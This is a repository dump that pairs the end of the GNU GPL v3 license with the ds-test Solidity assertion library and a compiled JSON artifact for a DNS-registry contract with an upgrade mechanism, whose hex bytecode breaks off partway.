nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/Makefile
================================================
all:; dapp build
test:; dapp test
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/lib/ds-test/src/test.sol
================================================
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
abstract contract DSTest {
event eventListener (address target, bool exact);
event logs (bytes);
event log_bytes32 (bytes32);
event log_named_address (bytes32 key, address val);
event log_named_bytes32 (bytes32 key, bytes32 val);
event log_named_decimal_int (bytes32 key, int val, uint decimals);
event log_named_decimal_uint (bytes32 key, uint val, uint decimals);
event log_named_int (bytes32 key, int val);
event log_named_uint (bytes32 key, uint val);
event log_named_string (bytes32 key, string val);
bool public IS_TEST;
bool public failed;
constructor() {
IS_TEST = true;
}
function fail() internal {
failed = true;
}
function expectEventsExact(address target) internal {
emit eventListener(target, true);
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log_bytes32("Assertion failed");
fail();
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log_bytes32("Error: Wrong `address' value");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log_bytes32("Error: Wrong `bytes32' value");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log_bytes32("Error: Wrong fixed-point decimal");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log_bytes32("Error: Wrong fixed-point decimal");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log_bytes32("Error: Wrong `int' value");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log_bytes32("Error: Wrong `uint' value");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_bytes32("Error: Wrong `string' value");
emit log_named_string(" Expected", b);
emit log_named_string(" Actual", a);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
bool ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
if (!ok) {
emit log_bytes32("Error: Wrong `bytes' value");
emit log_named_bytes32(" Expected", "[cannot show `bytes' value]");
emit log_named_bytes32(" Actual", "[cannot show `bytes' value]");
fail();
}
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/out/dapp.sol.json
================================================
{"contracts":{"lib/ds-test/src/test.sol:DSTest":{"abi":"[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"exact\",\"type\":\"bool\"}],\"name\":\"eventListener\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]","bin":"","bin-runtime":"","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"exact\",\"type\":\"bool\"}],\"name\":\"eventListener\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/ds-test/src/test.sol\":\"DSTest\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"lib/ds-test/src/test.sol\":{\"keccak256\":\"0x0585b4faea84c48433a20491b7285f004b11902132543f2ad286407cb08b0535\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://411e78f8169949a26f2483234d1bbb0fc9fbf1980a3e7d18f5890fbef9b2b737\",\"dweb:/ipfs/Qmcsk29nfkd3c251qD9j2gBYzCbHpNpYvq8tXErtroG8FA\"]}},\"version\":1}","srcmap":"","srcmap-runtime":"","storage-layout":"{\"storage\":[{\"astId\":2367,\"contract\":\"lib/ds-test/src/test.sol:DSTest\",\"label\":\"IS_TEST\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_bool\"},{\"astId\":2369,\"contract\":\"lib/ds-test/src/test.sol:DSTest\",\"label\":\"failed\",\"offset\":1,\"slot\":\"0\",\"type\":\"t_bool\"}],\"types\":{\"t_bool\":{\"encoding\":\"inplace\",\"label\":\"bool\",\"numberOfBytes\":\"1\"}}}"},"src/DNS.sol:DNS":{"abi":"[{\"inputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"_upgradeInfo\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"activeUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"cancelUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_addr\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_user\",\"type\":\"address\"}],\"name\":\"isTrustedUpgrade\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"newUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"enum Upgrade.Opt\",\"name\":\"_opt\",\"type\":\"uint8\"}],\"name\":\"opt\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradePlanned\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"upgrades\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"when\",\"type\":\"uint256\"},{\"internalType\":\"contract IDNS\",\"name\":\"to\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]","bin":"60c06040523480156200001157600080fd5b50604051620024df380380620024df8339818101604052810190620000379190620000c3565b3373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505062000151565b600081519050620000bd8162000137565b92915050565b600060208284031215620000d657600080fd5b6000620000e684828501620000ac565b91505092915050565b6000620000fc8262000117565b9050919050565b60006200011082620000ef565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001428162000103565b81146200014e57600080fd5b50565b60805160601c60a05160601c6123466200019960003980610289528061047952806109265280610ec952806112545250806102ad528061063b528061122d52506123466000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffff